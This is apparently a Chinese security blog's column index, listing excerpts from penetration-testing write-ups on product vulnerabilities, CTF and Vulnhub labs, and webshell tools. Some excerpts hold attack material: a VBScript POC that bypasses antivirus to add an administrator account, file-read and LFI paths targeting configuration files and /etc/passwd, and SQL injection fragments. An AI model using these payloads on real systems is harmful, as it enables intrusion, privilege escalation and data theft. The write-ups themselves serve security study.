![](https://img-blog.csdnimg.cn/20190918140012416.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
安全测试:web\app\工具
文章平均质量分 86
涉及一些安全服务内容
战神/calmness
做最好的自己
展开
-
App安全检测实践基础——工具
App安全检测实践基础——工具apktool:简而言之就是获取资源文件,主要查看res文件下xml文件、AndroidManifest.xml和图片。(注意:如果直接解压.apk文件,xml文件打开全部是乱码)dex2jar:将apk反编译成Java源码(classes.dex转化成jar文件)jd-gui:查看APK中classes.dex转化成出的jar文件,即源码文件Apktool下载地址:https://ibotpeaches.github.io/Apktool/in.原创 2020-10-21 14:52:29 · 1883 阅读 · 0 评论 -
AWD的那些事
介绍AWD全称 Attack With Defence 总之就是你既是 hacker 又是 manager ;目标就是拿到其他战队靶机的shell 即可,通过shell 访问 flag服务器,得到flag后提交得分;攻击-发现漏洞 防御-修复漏洞比赛形式与规则服务器主要是包括WEB靶机和PWN靶机,服务器基本上为linux系统在系统某处存在flag或者执行某条命令获取flag flag 定时刷新,每隔一段时间会生成新的flag,攻击者可以提交新的flag 来得分,但不可重复提交相同的...原创 2021-12-23 13:43:47 · 4712 阅读 · 0 评论 -
H3C任意命令执行漏洞
H3C漏洞目录简述过程修复建议参考链接简述H3C iMC智能管理中心云计算(cloud computing):“云计算是一种计算模式,利用互联网技术把大量可扩展和弹性的IT相关能力作为一种服务提供给多个用户(Gartner)”。提供资源的网络被称为“云”。“云”中的资源在使用者看来是可以无限扩展的,并且可以随时获取,按需使用,随时扩展,这使得应用提供者无需为繁琐的细节而烦恼,能够更加专注于自己的业务,有利于创新和降低成本。过程body="iMC来宾接入自助管理..原创 2021-05-23 18:29:12 · 9591 阅读 · 0 评论 -
长亭D-Sensor谛听蜜罐逻辑缺陷漏洞
长亭D-Sensor谛听蜜罐逻辑缺陷漏洞目录长亭D-Sensor谛听蜜罐逻辑缺陷漏洞官网漏洞描述漏洞URL影响版本过程修复建议官网https://www.chaitin.cn/zh/ 长亭科技漏洞描述通过访问该网站系统,使用/robots.txt路径发生跳转现象,进行抓包测试;发现可在未授权的情况下进行操作系统内部的各个模块,同时泄露模块的URL敏感路径;漏洞URLhttps://8.1.1.8/robots.txt影响版本DS-S4...原创 2021-05-12 12:08:37 · 1451 阅读 · 0 评论 -
Java反序列化漏洞笔记
Java反序列化漏洞序列化与反序列化定义:内存中的对象与可存储在磁盘上的持久化数据相互转换的过程。各编程语言都存在: Java: java.io.Serializable接口、fastjson、jackson、gson PHP: serialize()、 unserialize() Python:pickle Java反序列化过程1. 对象实例化• sun.misc.Unsafe#allocateInstance • 通过反射调用构造函数2. 成原创 2021-05-10 13:01:29 · 428 阅读 · 0 评论 -
hping3 命令
hping3 扫描原创 2021-02-02 17:23:53 · 2761 阅读 · 0 评论 -
SQLMAP帮助翻译
SQLMAP命令总结Options: -h, --help Show basic help message and exit 显示基本的帮助信息并退出 -hh Show advanced help message and exit 显示高级帮助消息并退出 --version Show program's version number and exit 显示程序的版本号和退出 -v...原创 2021-01-04 10:27:58 · 371 阅读 · 0 评论 -
一次实战之JSONP 漏洞
描述Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略。同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。传入callback 值会在结果里面直接返回。因此,如果该参数过滤不严格。可以随便输入:callback值为:alert(‘1’);parse原创 2021-01-03 23:02:41 · 1329 阅读 · 0 评论 -
无回显渗透总结
无回显渗透总结描述: 最近和某安全圈的大佬进行了交流,涉及到无回显的问题;虽然自己答对了一些内容,但自我感觉总是差了那么一点;让我这个追求极致的心情,无法释怀;于是,现在总结下无回显的情况。搜集相关内容进行整合;思路:利用ping 利用curl 利用whois 利用cancel dnslog注入 无回显漏洞测试辅助平台 (Spring Boot + Spring Security + Netty) 尝试反弹shell ...原创 2020-12-09 10:31:58 · 389 阅读 · 0 评论 -
Flask 模板注入漏洞
目录描述环境安装flask原理沙盒逃逸方式进行命令执行直接通过GET方式进行命令执行过程描述Flask(也被称为“microframework”) 是一个微型的Python开发的Web框架,基于Werkzeug WSGI工具箱和Jinja2 模板引擎。 Flask使用起来非常简单,应用Extension增加其他功能:ORM、窗体验证工具、文件上传、各种开放式身份验证技术。环境安装flask>>> pip3 install Flask>&原创 2020-12-08 18:10:53 · 1553 阅读 · 0 评论 -
缓冲区溢出之攻击
描述拓扑图准备环境靶机部署缓冲区的环境:程序绑定在 12345 端口编译gcc backdoor.c -o backdoor -fno-stack-protector运行$ ./backdoor攻击机安装依赖环境:使用 python3 环境安装pwntools$ pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/过程1.在攻击机器上编写exp.py脚本fro.原创 2020-11-24 07:06:46 · 1389 阅读 · 3 评论 -
金山毒霸添加用户拦截功能绕过
POCset wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user","test"):od.SetPassword "password":od.SetInfo:Set of=Get...原创 2020-11-06 15:41:47 · 344 阅读 · 0 评论 -
微信渗透测试启点
APP-微信渗透测试1、描述由于时代的发展,小程序的诞生,需要不断的去测试发现漏洞问题;同时呢,及时的修复。避免上线后的一系列的问题。这几天做测试遇到的情况,做归纳;腾讯的小程序好像抓包有问题;2、环境下载一个测试的微信版本PC端,比如:2.7的版本等。可搜索一下下载【测试版本使用的IE的内核】Windows 10 或者 8、7等等。注明:我这里实验用的Windows 10虚拟机Java环境【便于运行burpsuite抓包工具】3、安装JAVA环境双击执行ex原创 2020-10-16 00:36:52 · 959 阅读 · 2 评论 -
CNVD-2020-27769—拓尔思文件读取漏洞
拓尔思TRSWAS5.0文件读取漏洞注明:网上相关资料较少,进行整理了一下。展示相关的思路1、描述拓尔思中文检索系统TRSWAS5.0 web/tree接口treefile参数存在文件读取漏洞,可读取数据库配置文件、账户密码等信息,导致配置文件信息泄露威胁网站安全。2、过程http://IP地址//was5/web/tree?treefile=/WEB-INF/classes/com/trs/was/resource/wasconfig.properties显示文件内容3、修复原创 2020-10-14 14:43:31 · 3585 阅读 · 0 评论 -
Vmware Vcenter 任意文件读取漏洞
目录1、描述2、环境3、过程4、修复建议Vmware Vcenter 任意文件读取漏洞 时间2020年10月13日1、描述VMware vCenterServer 【服务器管理软件】提供了一个可伸缩、可扩展的平台,为 虚拟化管理奠定了基础。VMware vCenter Server(以前称为 VMware VirtualCenter),可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制。VMware vCenter ..原创 2020-10-14 10:26:22 · 5506 阅读 · 1 评论 -
绿盟UTS综合威胁探针-2020HW
绿盟UTS综合威胁探针管理员任意登录描述原创 2020-10-12 14:18:17 · 3323 阅读 · 0 评论 -
Cookie 欺骗——漏洞
目录描述影响过程修复建议通达OA2016网络智能办公系统描述通达OA作为中国协同办公(OA)软件普及型的旗舰产品,功能涵盖人圆通讯、行政办公、知识管理、工作流程管理、HR、CRM、BI、ERP等8大领域,共有工作流、电子邮件、任务管理、日程安排、工作日志、公告通知、新闻、车辆管理、会议管理、办公用品管理、公文档案管理、项目管理、文件柜管理等300多个功能组件。在移动办公领域与钉钉形成全面战略合作,助您打造高效的沟通和管理平台影响 V11版,2017版,2...原创 2020-09-30 21:35:38 · 1626 阅读 · 0 评论 -
天融信TOPApp-LB负载均衡-2020HW
目录描述概述影响漏洞利用过程前台绕过注入修复建议天融信TOPApp-LB负载均衡SQL注入描述天融信负载均衡 TopAPP-LB产品旧版本在管理面存在SQL注入漏洞,具体为在可以访问管理服务情况 下,攻击者通过构造恶意请求,利用系统检查输入条件不严格的缺陷,进一步可获取部分系统本地信息。概述天融信负载均衡系统(以下简称TopApp产品)是一款融合了智能带宽控制功能的链路及服务器负载均衡产品。通过对网络出口链路和服务器资源的优化调度,TopApp-LB负载均原创 2020-09-25 21:25:17 · 2106 阅读 · 0 评论 -
深信服 EDR 终端检测响应平台 -2020HW
目录描述影响任意用户登录 RCE【修复建议】深信服 EDR 终端检测响应平台 0day RCE 漏洞描述深信服终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。影响攻击者可以通过构造payload绕过登录判断,原创 2020-09-25 20:40:02 · 790 阅读 · 0 评论 -
RCE _通达 OA -2020HW
目录描述2020HW中涉及到的点影响版本准备环境漏洞利用过程百度一波:描述未经授权的攻击者可以通过构造进行任意用户登录(包括admin),登录之后可进一步上传恶意文件控制网站服务器。 通达OA 组织——管理员——邮箱处 存在任意文件上传漏洞,结合系统管理——附件管理——添加存储目录;修改附件上传后保存的路径,最终导致getshell 可以看这篇文章的数据显示https://www.freebuf.com/company-information/23...原创 2020-09-25 00:19:09 · 1104 阅读 · 0 评论 -
注册表后门持久的思考
目录准备环境过程比较说明【可执行文件留持久后门】结果上线!!!或者准备环境windows10 虚拟机Cobalt Strike【这里部署在Windows10上,服务器置于云上】过程远程木马控制了windows10虚拟机,利用Cobalt Strike 在Cobalt Strike下进入beacon比较说明【可执行文件留持久后门】HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi原创 2020-09-22 15:27:18 · 942 阅读 · 0 评论 -
测试冰蝎v3.0 Beta 5
目录冰蝎v3.0地址启动木马设置冰蝎连接命令执行虚拟终端文件管理内网穿透数据库管理反弹shell平行空间扩展功能冰蝎v3.0地址下载地址:https://github.com/rebeyond/Behinder/releases/启动木马设置将木马放置在相关目录内【放置在PHPStudy】,使用冰蝎连接冰蝎连接命令执行虚拟终端文件管理内网穿透这里使用 了一下CS数据库管理...原创 2020-08-24 12:28:49 · 3212 阅读 · 0 评论 -
vulhub——Photographer:1
目录信息收集SMB共享服务访问80端口访问8000 端口目录遍历文件上传提权下载链接:https://download.vulnhub.com/photographer/Photographer.ova信息收集root@kali:~# nmap -sC 192.168.243.155 --script=vulnStarting Nmap 7.70 ( https://nmap.org ) at 2020-08-11 22:37 EDTNmap scan re原创 2020-08-12 20:27:56 · 603 阅读 · 0 评论 -
宽字节搭建过程
1.背景 现在大多数网站使用unicode国际编码和utf-8编码,不过国内现在有的数据库使用了GBK编码,以及一些错误的配置导致出现了宽字节注入,也是SQL注入的一种方法。宽字节注入的出现是因为,程序员在编写过程中连接mysql数据库时错误的设置:set character_set_client=gbk,其中php代码:mysql_query("SET NAMES 'GBK'");指定三个字符集(客户端,连接层,结果集) 使用addslashes函数过滤提交的参数时,测试的注入点使用的单.原创 2020-08-09 07:47:27 · 192 阅读 · 0 评论 -
Nmap之运营
目录高效扫描常见参数选项回顾快速存活扫描优化扫描指定服务类型扫描漏洞综合扫描命令:指定漏洞类型扫描——SMB常用扫描选择项漏洞POC验证弱口令检测ftp弱口令 脚本命令的编写Windows SMB弱口扫描SQL Server 弱口令扫描详细whois解析扫描web目录扫描整理结果将xml 文档转换为HTML使用修改的模板输出htm文件:高效扫描常见参数选项回顾快速存活扫描nmap -T...原创 2020-08-07 14:43:59 · 481 阅读 · 0 评论 -
虚拟机内网【域】环境搭建
准备: 都是NAT模式Windwos Server 2012R2为域控制器,IP地址为192.168.1.1 Windows Server 2008 R2为域内计算机,IP地址为192.168.1.2 Win2003为域内计算机,IP地址为192.168.1.3过程:win server 2012R2将 win server 2012R2 的计算机名改成 DC之后,下一步 就可以了创建AD用户 【活动目录】设置两个用户...原创 2020-07-16 12:31:23 · 823 阅读 · 0 评论 -
springboot_spEL表达式注入
目录linux 【centos7 x64】windows 7 32位影响版本:1.1.0-1.1.121.2.0-1.2.71.3.0修复方案:升至1.3.1或以上版本我的测试环境:SpringBoot 1.0简介Spring Expression Language是一种强大的表达式语言,Spring开发中经常会用到。正是因为功能强大,导致在某些情况下,用户可以从外部注入SpEl表达,导致命令执行。原理spring boot 处理参数值出错,流程进入 org.spri原创 2020-07-14 15:21:30 · 1933 阅读 · 0 评论 -
vulnhub-XXE
目录信息探测:netdiscover访问80端口存在XXE请求包信息可以看到用户名密码是通过xml传递给后端的查看用户名信息 /etc/passwdPHP伪协议/xxe/admin.php/xxe/flagneout.php /etc/.flag.phpPHPStudy信息探测:netdiscover访问80端口存在XXE请求包信息可以看到用户名密码是通过xml传递给后端的查看用户名信息 /et...原创 2020-07-14 11:05:45 · 513 阅读 · 0 评论 -
SQL 注入的代码
目录盲注常规型布尔型延时宽字节注入报错注入盲注常规型MYSQL数据库版本5.0以上有一个information_scheam表存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等。-lucy' union select group_concat(table_name),2 from information_schema.tables where (table...原创 2020-06-28 12:58:09 · 966 阅读 · 0 评论 -
vulhub——Kioptrix: 2014 (#5)[freebsd系统]
目录信息收集 PChart文件包含目录遍历漏洞MSF提权信息收集 PChart文件包含尝试利用漏洞,http://192.168.190.190/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd目录遍历漏洞由于这个系统是freebsd,所以可以知道apache的位置该系统对应的配置文件目录/usr/lo...原创 2020-06-22 15:51:57 · 235 阅读 · 0 评论 -
Libssh_0.8.3 service
信息探测使用EXPwget https://raw.githubusercontent.com/backlion/CVE-2018-10933/master/libsshCVE-2018-10933.pyGet username and password Python3 libssh-CVE-2018-10933.py <IP> <Port> “cat /etc/passwd提权nc -lnvp 1234 hostname &&...原创 2020-06-22 14:50:16 · 146 阅读 · 0 评论 -
PlaySMS
目录信息探测目录遍历弱口令文件上传 MSF构造进行测试meterpreter提权信息探测 nmap扫描 探测80端口 访问8787目录遍历 弱口令 文件上传My account —— Send from file ——there is a file upload MSF构...原创 2020-06-22 14:40:22 · 899 阅读 · 0 评论 -
Kioptrix: Level 1.1 (#2)
下载地址:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/目标机器:192.168.243.147攻击机器:192.168.210.134目录信息收集万能和密码破解命令执行反弹shell监听提权 版本内核 linux 2.6.9信息收集PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 3.9p1 (proto...原创 2020-06-04 21:42:58 · 1078 阅读 · 0 评论 -
vulhub——Kioptrix: Level 1 (#1)
下载地址:https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar目标地址:192.168.243.37攻击地址:192.168.18.148目录下载地址:https://download.vulnhub.com/kioptrix/Kioptrix_Level_1.rar信息收集MSF建立连接信息收集PORT STATE SERVICE VERSION22/tcp open ssh..原创 2020-06-04 21:32:42 · 298 阅读 · 0 评论 -
vulhub——SickOs: 1.1
下载地址:https://download.vulnhub.com/sickos/sick0s1.1.7z目标机器地址:192.168.243.137攻击机器地址:192.168.18.148目录信息收集扫描设置代理wolfcms上传木马 并且 访问SSH登录sudo提权信息收集PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 5.9p1 Debian 5ubunt..原创 2020-06-04 21:26:15 · 543 阅读 · 0 评论 -
vulhub-SickOs: 1.2
目录信息收集文件包含提权-计划任务-chkrootkit版本0.49漏洞信息收集PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)80/tcp open http lighttpd 1.4.28MAC Address: 00:0C:29:BA:70:AF (VMware)Service Inf..原创 2020-05-24 22:12:42 · 225 阅读 · 0 评论 -
vulhub ——LordOfTheRoot_1.0.1
信息探测发现22号端口使用PING 测试进行攻击hping3 -S 192.168.18.150 -p 1 -c 1hping3 -S 192.168.18.150 -p 2-c 1hping3 -S 192.168.18.150 -p 3-c 1再次进行扫描root@kali:~# nmap -p- -T5 -A 192.168.18.150http://192.168.18.150:1337/978345210/index.php发现存在SQL注入...原创 2020-05-21 16:12:01 · 311 阅读 · 0 评论 -
爬取网站的所有链接
编写代码生成TXTimport urllib.requestimport re# 1. 确定好要爬取的入口链接url = "http://pms3.ah.cmcc/"# 2.根据需求构建好链接提取的正则表达式pattern1 = '<.*?(src=".*?").*?'# 3.模拟成浏览器并爬取对应的网页 谷歌浏览器headers = {'User-Agent', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) Appl原创 2020-05-16 22:14:14 · 2401 阅读 · 0 评论 -
Xray 扫描学习
xray 扫描器启动POC框架将编写好的POC进行测试--url 可以对单个地址进行检测,通过设置其中的关键字进行测试原创 2020-06-07 20:32:04 · 15135 阅读 · 0 评论 -
一次CTF获取Flag的过程
获取Flag目录Nmap扫描端口dirb或者 dirsarch,御剑等工具进行目录遍历修改Cookie得到管理员SQL注入文件包含文件上传RCENmap扫描端口dirb或者 dirsarch,御剑等工具进行目录遍历修改Cookie得到管理员SQL注入文件包含参数file= /etc/passwd 之后,PHP伪协议http://192.168.181.136/show_employee.php...原创 2020-05-11 11:31:08 · 9430 阅读 · 0 评论